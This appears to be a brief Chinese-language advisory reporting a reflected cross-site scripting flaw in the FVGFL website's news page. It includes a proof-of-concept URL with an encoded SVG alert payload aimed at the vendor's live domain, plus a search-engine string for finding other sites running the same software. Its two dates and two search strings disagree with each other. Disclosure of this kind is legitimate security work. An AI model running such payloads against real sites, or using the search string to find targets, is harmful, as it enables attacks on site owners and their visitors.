FVGFL - 跨站脚本漏洞 (XSS)

2025.09.27 漏洞发现者: Mahdi Karimi

风险等级: 低 本地漏洞: 否 远程漏洞: 是 CVE编号: N/A CWE编号: N/A 搜索关键字: “Powered by Web FVGFL”

#漏洞标题: FVGFL - 跨站脚本漏洞 (XSS) #发现日期: 2025-09-18 #漏洞发现者: Mahdi Karimi #供应商主页: https://www.fvgfl.com #谷歌搜索关键字: “Powered by Web FVGFL” #测试环境: Ubuntu 25.04

概念验证(PoC): 谷歌搜索关键字："Powered by Web Partner"

演示链接: https://www.fvgfl.com/news.php?id=22%27%3E%3Csvg%3E%3Cset+onbegin%3Dalert%281%29+attributeName%3Dx+to%3D0%3E

#漏洞发现人: Mahdi Karimi #联系邮箱: mjoker22mjoker22@gmail.com